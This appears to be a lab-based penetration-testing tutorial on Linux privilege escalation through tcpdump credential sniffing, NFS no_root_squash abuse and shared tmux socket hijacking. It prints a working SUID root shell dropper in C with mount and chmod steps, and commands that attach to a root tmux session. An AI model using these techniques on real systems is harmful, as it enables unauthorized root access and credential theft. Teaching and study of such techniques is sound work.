Linux Privilege Escalation — Miscellaneous Techniques

Passive Traffic Capture

If tcpdump is installed and reachable by an unprivileged user, network traffic can be captured locally — potentially exposing cleartext credentials. Tools like net-creds and PCredz parse captured traffic specifically looking for credentials and other sensitive data.

What this can reveal:

• Cleartext credentials from HTTP, FTP, POP, IMAP, telnet, or SMTP
• Credit card numbers, SNMP community strings
• Net-NTLMv2, SMBv2, or Kerberos hashes — not directly usable, but crackable offline via brute force to recover the plaintext password

Key point: even without a MITM position, a box that other users/services log into or that proxies cleartext-protocol traffic is worth a passive capture — no active injection required.

Weak NFS Privileges

NFS (Network File System, TCP/UDP port 2049) shares directories between Unix/Linux hosts. Exported mounts can be enumerated remotely without credentials:

rnemeth@htb[/htb]$ showmount -e 10.129.2.12

Export list for 10.129.2.12:
/tmp             *
/var/nfs/general *

root_squash vs no_root_squash

htb@NIX02:~$ cat /etc/exports

/var/nfs/general *(rw,no_root_squash)
/tmp *(rw,no_root_squash)

no_root_squash on a writable export is a direct path to root: mount it locally as root, drop a SUID binary owned by root, and execute it from the low-privileged side.

Exploitation Walkthrough

Step 1 — write a setuid shell dropper (as root, on the attack host):

// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}

root@Pwnbox:/tmp$ gcc shell.c -o shell

Step 2 — mount the writable NFS export locally as root, copy the binary in, and set the SUID bit:

root@Pwnbox:/tmp$ sudo mount -t nfs 10.129.2.12:/tmp /mnt
root@Pwnbox:/tmp$ cp shell /mnt
root@Pwnbox:/tmp$ chmod u+s /mnt/shell

Because the export has no_root_squash, the file lands on the NFS server still owned by root with the SUID bit intact:

htb@NIX02:/tmp$ ls -la

-rwsr-xr-x  1 root  root  16712 Sep  1 06:15 shell

Step 3 — execute it from the low-privileged session on the target:

htb@NIX02:/tmp$ ./shell
root@NIX02:/tmp# id

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(htb)

Key point: the SUID bit set on the attack host (where the file is owned by the attacker’s real root) survives the copy because the NFS server, with no_root_squash, trusts the client’s claimed UID/GID rather than remapping it.

Hijacking Tmux Sessions

tmux (and other terminal multiplexers) lets a session keep running detached, and a socket-backed session can be shared across users if permissions on the socket are too permissive.

Setup that creates the exposure — a privileged user creates a named/shared socket and hands out group ownership:

htb@NIX02:~$ tmux -S /shareds new -s debugsess
htb@NIX02:~$ chown root:devs /shareds

Discovery and Exploitation

Step 1 — look for running tmux processes:

htb@NIX02:~$ ps aux | grep tmux

root      4806  0.0  0.1  29416  3204 ?        Ss   06:27   0:00 tmux -S /shareds new -s debugsess

Step 2 — check the socket’s permissions:

htb@NIX02:~$ ls -la /shareds

srw-rw---- 1 root devs 0 Sep  1 06:27 /shareds

Step 3 — confirm current group membership includes the group that owns the socket:

htb@NIX02:~$ id

uid=1000(htb) gid=1000(htb) groups=1000(htb),1011(devs)

Step 4 — attach to the shared session:

htb@NIX02:~$ tmux -S /shareds

id

uid=0(root) gid=0(root) groups=0(root)

Since the session was started as root and the socket only checks group membership (not the identity of who attaches), any member of devs inherits full control of that root shell.

Key Takeaways

• Local network capture doesn’t require a MITM position — any unprivileged tcpdump access is worth trying, since cleartext-protocol traffic and NTLM/Kerberos challenge-response hashes are both fair game.
• no_root_squash on a writable NFS export is one of the most direct root-equivalent misconfigurations: mount locally as root, drop a SUID binary, done — no target-side compiler or exploit needed.
• Shared multiplexer sockets (tmux -S, screen -S equivalents) are effectively an alternate credential: whoever can reach the socket with the right group/permissions inherits the session’s privilege level, no authentication involved.